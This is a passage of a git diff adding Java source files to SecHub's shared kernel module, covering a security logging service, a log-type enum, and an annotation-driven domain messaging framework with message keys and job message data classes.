LoggerFactory.getLogger(SecurityLogService.class); + + private static String SECURITY = "[SECURITY] [{}]"; + private static String SECURITY_USERNAME = SECURITY+" ({}) :"; + + public void log(SecurityLogType type, String message, Object ...objects ) { + if (type==null) { + type=SecurityLogType.UNKNOWN; + LOG.warn("Security log service was called with no type id! Wrong implemented! Use fallback:{}",type); + } + /* convert this to a new list, otherweise slf4j becomes problems with identifying this as list and having wrong output*/ + String userId = userContextService.getUserId(); + List list = new ArrayList<>(); + list.add(userId); + list.add(type.getTypeId()); + list.addAll(Arrays.asList(objects)); + + Object[] array = list.toArray(); + LOG.info(SECURITY_USERNAME+message, array); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogType.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogType.java new file mode 100644 index 0000000000..26254fc6ea --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/logging/SecurityLogType.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.logging; + +/** + * The type id is used for logging. So do NOT change the type id. We use the + * type id to have possibility to refactor namings in code and avoid older logs + * no longer be valid + * + * @author Albert Tregnaghi + * + */ +public enum SecurityLogType { + + UNKNOWN("UNKNOWN"), + + POTENTIAL_INTRUSION("POTENTIAL INTRUSION"), + ; + + private String typeId; + + private SecurityLogType(String typeId) { + this.typeId = typeId; + } + + public String getTypeId() { + return typeId; + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/AsynchronMessageHandler.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/AsynchronMessageHandler.java new file mode 100644 index 0000000000..43eb9928f4 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/AsynchronMessageHandler.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +public interface AsynchronMessageHandler { + + /* TODO Albert Tregnaghi, 2018-07-25: what about using annotations also to remove the boiler plate code for this method + dispatching case statements ? */ + + /** + * Handles asynchronous message. Important: You must add handling methods with {@link IsReceivingAsyncMessage} otherwise + * the handler will not be called by internal framework! + * @param request + */ + public void receiveAsyncMessage(DomainMessage request); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainDataTraceLogID.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainDataTraceLogID.java new file mode 100644 index 0000000000..720130b32f --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainDataTraceLogID.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import com.daimler.sechub.sharedkernel.TraceLogID; + +public class DomainDataTraceLogID extends TraceLogID { + + public DomainDataTraceLogID(DomainMessagePart source) { + super(source); + } + + public static DomainDataTraceLogID traceLogID(DomainMessagePart data) { + return new DomainDataTraceLogID(data); + } + + @Override + protected String createContent(DomainMessagePart source) throws Exception { + if (source==null) { + return null; + } + return source.getRaw(MessageDataKeys.SECHUB_UUID.getId()); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessage.java new file mode 100644 index 0000000000..a1f6bc6b31 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessage.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +/** + * A domain request represents a domain event which is triggered + * @author Albert Tregnaghi + * + */ +public class DomainMessage extends DomainMessagePart { + + + public DomainMessage(MessageID id) { + super(id); + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageFactory.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageFactory.java new file mode 100644 index 0000000000..221ec4d7c1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageFactory.java @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +public class DomainMessageFactory { + + public static DomainMessage createRequestRoleCalculation(String userId) { + DomainMessage roleChangeRequest = new DomainMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION); + UserMessage userMessage = new UserMessage(); + userMessage.setUserId(userId); + roleChangeRequest.set(MessageDataKeys.USER_ID_DATA, userMessage); + + return roleChangeRequest; + } + + public static DomainMessage createUserBecomesSuperAdmin(String userId, String email, String envbaseURL) { + DomainMessage userBecomesSuperAdminInfo = new DomainMessage(MessageID.USER_BECOMES_SUPERADMIN); + UserMessage userMessage = new UserMessage(); + userMessage.setUserId(userId); + userMessage.setEmailAdress(email); + userBecomesSuperAdminInfo.set(MessageDataKeys.USER_CONTACT_DATA, userMessage); + userBecomesSuperAdminInfo.set(MessageDataKeys.ENVIRONMENT_BASE_URL, envbaseURL); + + return userBecomesSuperAdminInfo; + } + + public static DomainMessage createUserNoLongerSuperAdmin(String userId, String email, String envbaseURL) { + DomainMessage userBecomesSuperAdminInfo = new DomainMessage(MessageID.USER_NO_LONGER_SUPERADMIN); + UserMessage userMessage = new UserMessage(); + userMessage.setUserId(userId); + userMessage.setEmailAdress(email); + userBecomesSuperAdminInfo.set(MessageDataKeys.USER_CONTACT_DATA, userMessage); + userBecomesSuperAdminInfo.set(MessageDataKeys.ENVIRONMENT_BASE_URL, envbaseURL); + + return userBecomesSuperAdminInfo; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessagePart.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessagePart.java new file mode 100644 index 0000000000..cdfb309244 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessagePart.java @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.HashMap; +import java.util.Map; + +public abstract class DomainMessagePart { + + private MessageID id; + protected Map parameters; + + DomainMessagePart(MessageID id) { + this.id=id; + this.parameters=new HashMap<>(); + } + + public boolean hasID(MessageID messageId) { + if (messageId==null) { + return false; + } + return messageId.equals(id); + } + + public MessageID getMessageId() { + return id; + } + + + /** + * Get parameter value by given key + * + * @param key + * @return value or null + */ + public T get(MessageDataKey key) { + assertKeyNotNull(key); + String data = parameters.get(key.getId()); + return key.getProvider().get(data); + } + + + @Override + public String toString() { + return getClass().getSimpleName()+" [id=" + id + ", parameters=" + parameters + "]"; + } + + public void set(MessageDataKey key, T content) { + if (key==null) { + throw new IllegalArgumentException("key may not be null!"); + } + String contentAsString = key.getProvider().getString(content); + parameters.put(key.getId(), contentAsString); + } + + String getRaw(String key) { + return parameters.get(key); + } + + private void assertKeyNotNull(MessageDataKey key) { + if (key==null) { + throw new IllegalArgumentException("key may not be null!"); + } + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageService.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageService.java new file mode 100644 index 0000000000..7c67a9e8be --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageService.java @@ -0,0 +1,197 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EnumMap; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.core.task.TaskExecutor; +import org.springframework.stereotype.Service; + +@Service +public class DomainMessageService { + /* FIXME Albert Tregnaghi, 2018-01-29:parameter validation */ + /* FIXME Albert Tregnaghi, 2018-01-29:handle web scan not wanted... */ + /* FIXME Albert Tregnaghi, 2018-01-29:null handling ... */ + /* + * TODO Albert Tregnaghi, 2018-02-04:check if it is not better to use eureka server for + * discovery... + */ + + private static final Logger LOG = LoggerFactory.getLogger(DomainMessageService.class); + + @Autowired + protected TaskExecutor taskExecutor; + + Map synchronHandlers = new EnumMap<>(MessageID.class); + Map> asynchronHandlers = new EnumMap<>(MessageID.class); + /* + * TODO Albert Tregnaghi, 2018-01-29: in future this could be at least an internal REST + * call instead of direct usage of spring boot services... when scan is own + * spring boot application .. But this must be also secured... + */ + + @Autowired // does auto registration of synchron message handlers by spring + public DomainMessageService(List injectedSynchronousHandlers, + List injectedAsynchronousHandlers) { + notNull(injectedSynchronousHandlers, "Synch.Handlers may not be null!"); + notNull(injectedAsynchronousHandlers, "Async. Handlers may not be null!"); + + for (SynchronMessageHandler handler : injectedSynchronousHandlers) { + Set messageIds = getSupportedMessageIdsFor(handler); + for (MessageID messageId : messageIds) { + synchronHandlers.put(messageId, handler); + LOG.info("Registered synchron message handler:{} for message ID:{}", handler, messageId); + } + } + + for (AsynchronMessageHandler handler : injectedAsynchronousHandlers) { + Set messageIds = getSupportedMessageIdsFor(handler); + for (MessageID messageId : messageIds) { + List foundAsynchronousHandlersForID = this.asynchronHandlers.get(messageId); + if (foundAsynchronousHandlersForID == null) { + foundAsynchronousHandlersForID = new ArrayList<>(); + this.asynchronHandlers.put(messageId, foundAsynchronousHandlersForID); + } + foundAsynchronousHandlersForID.add(handler); + LOG.info("Registered asynchronus message handler:{} for message ID:{}", handler, messageId); + } + } + } + + private Map> supportedMessageIdsOfAsyncMap = new HashMap<>(); + private Map> supportedMessageIdsOfSyncMap = new HashMap<>(); + + private Set getSupportedMessageIdsFor(AsynchronMessageHandler handler) { + return supportedMessageIdsOfAsyncMap.computeIfAbsent(handler, this::createMessageIdListByAnnotations); + } + + private Set getSupportedMessageIdsFor(SynchronMessageHandler handler) { + return supportedMessageIdsOfSyncMap.computeIfAbsent(handler, this::createMessageIdListByAnnotations); + } + + private Set createMessageIdListByAnnotations(AsynchronMessageHandler handler) { + List receivings = receiveAnnotationsOfType(handler.getClass(), IsReceivingAsyncMessage.class); + Set list = new LinkedHashSet<>(); + for (IsReceivingAsyncMessage r : receivings) { + list.add(r.value()); + } + return list; + } + + private List receiveAnnotationsOfType(Class class1, Class annotationClass) { + List list = new ArrayList<>(); + T[] annotationsClass = class1.getAnnotationsByType(annotationClass); + for (T annotation: annotationsClass) { + list.add(annotation); + } + Method[] methods = class1.getDeclaredMethods(); + for (Method method: methods) { + T[] annotations = method.getAnnotationsByType(annotationClass); + for (T annotation: annotations) { + list.add(annotation); + } + } + return list; + } + + private Set createMessageIdListByAnnotations(SynchronMessageHandler handler) { + List receivings = receiveAnnotationsOfType(handler.getClass(), IsRecevingSyncMessage.class); + Set list = new LinkedHashSet<>(); + for (IsRecevingSyncMessage r : receivings) { + list.add(r.value()); + } + List receivings2 = receiveAnnotationsOfType(handler.getClass(), IsRecevingSyncMessages.class); + for (IsRecevingSyncMessages r : receivings2) { + for (IsRecevingSyncMessage m : r.value()) { + list.add(m.value()); + } + } + return list; + } + + /** + * Triggers request and waits for result. Will be handled only by ONE + * {@link SynchronMessageHandler} instance + * + * @param request + * @return result + * @throws UnsupportedOperationException + * if no handler is able to handle the request + */ + public DomainMessageSynchronousResult sendSynchron(DomainMessage request) { + assertRequestNotNull(request); + + MessageID messageID = request.getMessageId(); + SynchronMessageHandler handlersForThisMessageId = synchronHandlers.get(messageID); + if (handlersForThisMessageId == null) { + /* + * because caller wants to get a response in sync we throw a runtime exception + */ + throw new UnsupportedOperationException( + "Did not found any registered synchronous handler for " + messageID); + } + return handlersForThisMessageId.receiveSynchronMessage(request); + } + + /** + * Triggers request but does NOT waits for result. This can be handled by + * multiple {@link AsynchronMessageHandler} instances. When no async handler can + * handle the request a error log entry will be written + * + * @param request + * + */ + public void sendAsynchron(DomainMessage request) { + assertRequestNotNull(request); + + MessageID messageID = request.getMessageId(); + List handlersForThisMessageId = asynchronHandlers.get(messageID); + + if (handlersForThisMessageId == null || handlersForThisMessageId.isEmpty()) { + /* handle problem async way by logging */ + LOG.error("Domain request with message id:{}, not handled by any asynchronous handler!", messageID); + return; + } + + for (AsynchronMessageHandler handler : handlersForThisMessageId) { + taskExecutor.execute(new AsynchronMessageHandlerTaskAdapter(handler, request)); + } + + } + + private void assertRequestNotNull(DomainMessage request) { + if (request == null) { + throw new IllegalArgumentException("request may not be null!"); + } + } + + private class AsynchronMessageHandlerTaskAdapter implements Runnable { + private AsynchronMessageHandler handler; + private DomainMessage request; + + public AsynchronMessageHandlerTaskAdapter(AsynchronMessageHandler handler, DomainMessage request) { + this.handler = handler; + this.request = request; + } + + public void run() { + try { + handler.receiveAsyncMessage(request); + } catch (RuntimeException e) { + LOG.error("Was not able to run request:{} with handler {}", request, handler, e); + } + } + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageSynchronousResult.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageSynchronousResult.java new file mode 100644 index 0000000000..d21f29bf9d --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageSynchronousResult.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +/** + * This is only possible when sending synchronous events. This class + * represents a result of synchronous event. + * @author Albert Tregnaghi + * + */ +public class DomainMessageSynchronousResult extends DomainMessagePart { + + private String errorMessage; + private boolean failed; + + public DomainMessageSynchronousResult(MessageID id) { + super(id); + } + + + public DomainMessageSynchronousResult(MessageID id,Throwable t) { + super(id); + if (t != null) { + this.failed = true; + this.errorMessage = t.getMessage(); + } + } + + public boolean hasFailed() { + return failed; + } + + public String getErrorMessage() { + return errorMessage; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessaging.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessaging.java new file mode 100644 index 0000000000..c7c5a21855 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/DomainMessaging.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Marker annotation for all other domain messaging annotations. This is used for automated documentation! + * @author Albert Tregnaghi + * + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.ANNOTATION_TYPE) +public @interface DomainMessaging { + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsReceivingAsyncMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsReceivingAsyncMessage.java new file mode 100644 index 0000000000..76445a70ad --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsReceivingAsyncMessage.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsReceivingAsyncMessage { + + MessageID value(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessage.java new file mode 100644 index 0000000000..93ca8397de --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessage.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Endpoint which receives a synchronous message. The endpoint wil handle the message and give dedicated {@link IsSendingSyncMessageAnswer}s + * @author Albert Tregnaghi + * + */ +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +@Repeatable(IsRecevingSyncMessages.class) +public @interface IsRecevingSyncMessage { + + MessageID value(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessages.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessages.java new file mode 100644 index 0000000000..5cee190ca1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsRecevingSyncMessages.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsRecevingSyncMessages { + + IsRecevingSyncMessage[] value(); +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessage.java new file mode 100644 index 0000000000..377eb22005 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessage.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Repeatable(IsSendingAsyncMessages.class) +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsSendingAsyncMessage { + + MessageID value(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessages.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessages.java new file mode 100644 index 0000000000..47ed33d094 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingAsyncMessages.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsSendingAsyncMessages { + + IsSendingAsyncMessage[] value(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessage.java new file mode 100644 index 0000000000..2911e7e822 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessage.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsSendingSyncMessage { + + MessageID value(); +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswer.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswer.java new file mode 100644 index 0000000000..b10d8397c9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswer.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Endpoint which sends a synchronous answer + * @author Albert Tregnaghi + * + */ +@DomainMessaging +@Repeatable(IsSendingSyncMessageAnswers.class) +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsSendingSyncMessageAnswer { + + /** + * Define the message for which is answered here + * @return + */ + MessageID answeringTo(); + + /** + * Answer type + * @return + */ + MessageID value(); + + /** + * Name of branch - e.g. "success" or "failure". Used in documentation + * @return + */ + String branchName(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswers.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswers.java new file mode 100644 index 0000000000..30a8f8ca70 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/IsSendingSyncMessageAnswers.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@DomainMessaging +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface IsSendingSyncMessageAnswers { + + IsSendingSyncMessageAnswer[] value(); + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessage.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessage.java new file mode 100644 index 0000000000..5371d2fdca --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessage.java @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.time.LocalDateTime; +import java.util.UUID; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.databind.annotation.JsonDeserialize; +import com.fasterxml.jackson.databind.annotation.JsonSerialize; +import com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer; +import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer; + +/** + * This message data object contains all possible information about a project + * which can be interesting for messaging. BUT: It dependes on the + * {@link MessageID} which parts are set. + * + * @author Albert Tregnaghi + * + */ +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This configuration is used by communication between (api) schedule domain and administration - and maybe others") +public class JobMessage implements JSONable { + + public static final JobMessage OBJECT = new JobMessage(); + + private UUID jobUUID; + + private String projectId; + + private String owner; + + private String info; + + private String configuration; + + + @JsonFormat(pattern = ("yyyy/MM/dd HH:mm:ss")) + @JsonSerialize(using = LocalDateTimeSerializer.class) + @JsonDeserialize(using = LocalDateTimeDeserializer.class) + private LocalDateTime since; + + public String getOwner() { + return owner; + } + + public void setOwner(String owner) { + this.owner = owner; + } + + public String getInfo() { + return info; + } + + public void setInfo(String info) { + this.info = info; + } + + public String getConfiguration() { + return configuration; + } + + public void setConfiguration(String configuration) { + this.configuration = configuration; + } + + public void setSince(LocalDateTime date) { + this.since = date; + } + + public LocalDateTime getSince() { + return since; + } + + @Override + public Class getJSONTargetClass() { + return JobMessage.class; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + + public String getProjectId() { + return projectId; + } + + public void setJobUUID(UUID jobUUID) { + this.jobUUID = jobUUID; + } + + public UUID getJobUUID() { + return jobUUID; + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessageDataProvider.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessageDataProvider.java new file mode 100644 index 0000000000..09014fe91b --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/JobMessageDataProvider.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import com.daimler.sechub.sharedkernel.util.JSONConverterException; +import com.daimler.sechub.sharedkernel.util.SecHubRuntimeException; + +public class JobMessageDataProvider implements MessageDataProvider{ + + @Override + public JobMessage get(String data) { + if (data==null) { + return null; + } + try { + return JobMessage.OBJECT.fromJSON(data); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + + } + + @Override + public String getString(JobMessage message) { + if (message==null) { + return null; + } + try { + return message.toJSON(); + } catch (JSONConverterException e) { + throw new SecHubRuntimeException("Cannot convert", e); + } + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKey.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKey.java new file mode 100644 index 0000000000..fe4fbeb7eb --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKey.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +/** + * A message data key represents data inside a message. Where the message itself is represented by its {@link MessageID} the content + * inside the message is represented by the {@link MessageDataKey}. Each key has an identifier but also an provider which is able + * to convert data of message to corresponding java type. + * @author Albert Tregnaghi + * + * @param + */ +public class MessageDataKey { + + private String id; + private MessageDataProvider provider; + + /** + * A new message data key + * @param id - just an identifier which is used internally for the key + * @param provider + */ + MessageDataKey(String id, MessageDataProvider provider) { + if (id==null) { + throw new IllegalArgumentException("id may not be null"); + } + if (provider==null) { + throw new IllegalArgumentException("provider may not be null"); + } + this.id=id; + this.provider=provider; + } + + /** + * @return message data provider, never null + */ + public MessageDataProvider getProvider() { + return provider; + } + + /** + * + * @return message data key identifier + */ + public String getId() { + return id; + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKeys.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKeys.java new file mode 100644 index 0000000000..a88650af5e --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/MessageDataKeys.java @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.UUID; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; + +/** + * + * Constant class for {@link MessageDataKey} definitions used inside sechub communication + * @author Albert Tregnaghi + * + */ +public class MessageDataKeys { + + /* + * Only reason why this is not an emum is that we want to have generic type + * information about what is contained in key... + */ + + private MessageDataKeys() { + + } + /** + * Contains a string with base url of sechub system + */ + public static final MessageDataKey ENVIRONMENT_BASE_URL = createKey("environment.base.url", + new StringMessageDataProvider()); + public static final MessageDataKey EXECUTED_BY = createKey("common.executedby", + new StringMessageDataProvider()); + public static final MessageDataKey REPORT_TRAFFIC_LIGHT = createKey("report.trafficlight", + new StringMessageDataProvider()); + public static final MessageDataKey SECHUB_UUID = createKey("sechub.uuid", new UUIDMessageDataProvider()); + public static final MessageDataKey SECHUB_CONFIG = createKey("sechub.config", + new SecHubConfigurationMessageDataProvider()); + + /** + * Must contain userid, mail adress + */ + public static final MessageDataKey USER_CONTACT_DATA = createUserMessageKey("user.signup.data"); + /** + * Must contain userid, mail adress + */ + public static final MessageDataKey USER_SIGNUP_DATA = createUserMessageKey("user.signup.data"); + + /** + * Must contain userid, mail adress and initial roles + */ + public static final MessageDataKey USER_CREATION_DATA = createUserMessageKey("user.creation.data"); + + /** + * Must contain userid, hashed api token and email adress + */ + public static final MessageDataKey USER_API_TOKEN_DATA = createUserMessageKey("user.apitoken.data"); + + /** + * Must contain userid and email adress + */ + public static final MessageDataKey USER_DELETE_DATA = createUserMessageKey("user.delete.data"); + + /** + * Contains userid, email and a link containing a onetimetoken + */ + public static final MessageDataKey USER_ONE_TIME_TOKEN_INFO = createUserMessageKey( + "user.onetimetoken.info"); + + /** + * Contains userid + project ids + */ + public static final MessageDataKey PROJECT_TO_USER_DATA = createUserMessageKey("project2user.data"); + + /** + * Contains userid only + */ + public static final MessageDataKey USER_ID_DATA = createUserMessageKey("user.name"); + + + /** + * Contains userid + roles + */ + public static final MessageDataKey USER_ROLES_DATA = createUserMessageKey("user.roles.data"); + + /** + * Must contain project id and whitelist entries + */ + public static final MessageDataKey PROJECT_CREATION_DATA = createProjectMessageKey( + "project.creation.data"); + + /** + * Must contain project id and whitelist entries + */ + public static final MessageDataKey PROJECT_WHITELIST_UPDATE_DATA = createProjectMessageKey( + "project.whitelist.update.data"); + + /** + * Must contain project id, job uuid, json configuration, owner, since + */ + public static final MessageDataKey JOB_STARTED_DATA = createJobMessageKey("job.started.data"); + + /** + * Must contain job uuid,since + */ + public static final 